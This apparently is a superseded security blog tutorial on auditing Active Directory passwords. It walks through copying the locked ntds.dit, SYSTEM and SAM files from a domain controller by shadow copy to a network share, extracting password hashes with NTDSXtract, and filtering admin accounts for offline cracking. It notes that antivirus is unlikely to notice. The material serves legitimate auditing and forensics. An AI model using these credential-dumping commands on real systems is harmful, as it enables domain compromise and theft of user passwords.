Password Audit of a Domain Controller

This post has been superseded by this blog post. The techniques outlined below are for reference only.

Following on from our article on SAM retrieval without injection, a few people have asked if this technique is possible on a Domain Controller. Unfortunately, no, as account information, including hashes, are stored rather differently in Active Directory. The file in question is ntds.dit - an Extensible Storage Engine that basically stores all AD account information, including group membership, account status and importantly, password hashes.

Some fantastic research has been carried out on the ntds.dit file over the last couple of years - it wasn't that long ago forensic recovery of such information was limited to getting a live running image of the host up and running, then executing fgdump or similar. Now however, other options do exist if you have an offline copy of the directory store, namely retrieval of the two main tables - the data table and the link table. A framework has been developed facilitating extraction of interesting data from these files - NTDSXtract - by Csaba Barta. Huge credit for his original paper, and subsequent work on the framework. The framework now works on the latest 64bit operating systems and has been tested successfully on Windows 2008 R2.

As you probably aware however, you can not simply copy the ntds.dit file from a DC as the file is in use - it is locked. Again, some great hacks have been documented in recent times that allow easy retrieval of any locked file on a Windows host - useful in many situations, not just the retrieval of the directory store (performing forensic images and pagefile retrieval to name two). A small VBS script developed by Tim Tomes (download here) essentially allows you to create a shadow copy of a system drive in a similar way to how Windows backup works - allowing full access to any locked file on a system. As you are using core operating system functions to perform the copy, antivirus is unlikely to interfere with this technique - which is good considering the increasingly slim chances of successfully running pwdump like tools on a well protected host.

The steps for retrieval of the ntds.dit file are outlined below:

1. Create a new Shadow Copy.

 cscript vssown.vbs /start
 cscript vssown.vbs /create c
 cscript vssown.vbs /list


2. Copy the following files from the shadow copy to a remote network share (you'll have the VSS path from the previous command):

 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit \\<some network share>\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM \\<some network share>\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM \\<some network share>\


3. Delete the shadow copy you created.

 cscript vssown.vbs /delete <ID>


Once retrieved, extract all of the interesting directory information using the following steps:

1. Download libesedb from SourceForge and compile.

2. Extract the database tables from ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit.export <ntds.dit file>

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.


3. Parse the tables with NTDSXtract

~/NTDSXtract $ python dsusers.py /tmp/ntds.dit.export/datatable.3 /tmp/ntds.dit.export/link_table.5 --passwordhashes <SYSTEM file> --passwordhistory <SYSTEM file> --certificates --supplcreds <SYSTEM file> --membership > /tmp/ntds.dit.output


As previously mentioned, a large amount of useful information is returned from this command. With a bit of processing, you can concentrate on interesting accounts straight off, such as Domain and Enterprise administrators, with active, unlocked accounts and LM hashes (which of course are easier to crack). Try out our processing script parseNTDS.pl, which is designed to work with the output from the previous command.

Example usage is shown below:

./parseNTDS.pl -f [--lmonly Only display accounts with LM passwords] [-group   <GROUP NAME>]... [--removedisabled Remove disabled accounts] [--removedlocked <LOCK COUNT>] [--showhistory Include historic passwords]

./parseNTDS.pl -f ntds.dit.output --lmonly --group 'Domain Admin' --group 'Enterprise Admin' --removedisabled --removedlocked 3 


Note the 'removedlocked' flag requires a value as it is group policy that decides whether an account is locked or not - essentially the failed locked count associated with an account is compared with the specified lock threshold value in policy. If it is the same or greater, the account is obviously locked. Try a value of 3 or 5 here to remove potentially locked accounts. The output of the script is essentially a pwdump format ready for offline cracking with John or your rainbow tables of choice.

NB: This script is very dependent on the output from NTDSXtract. If future versions have different output, the script may need to be edited accordingly. Only Getopt::Long is required to run.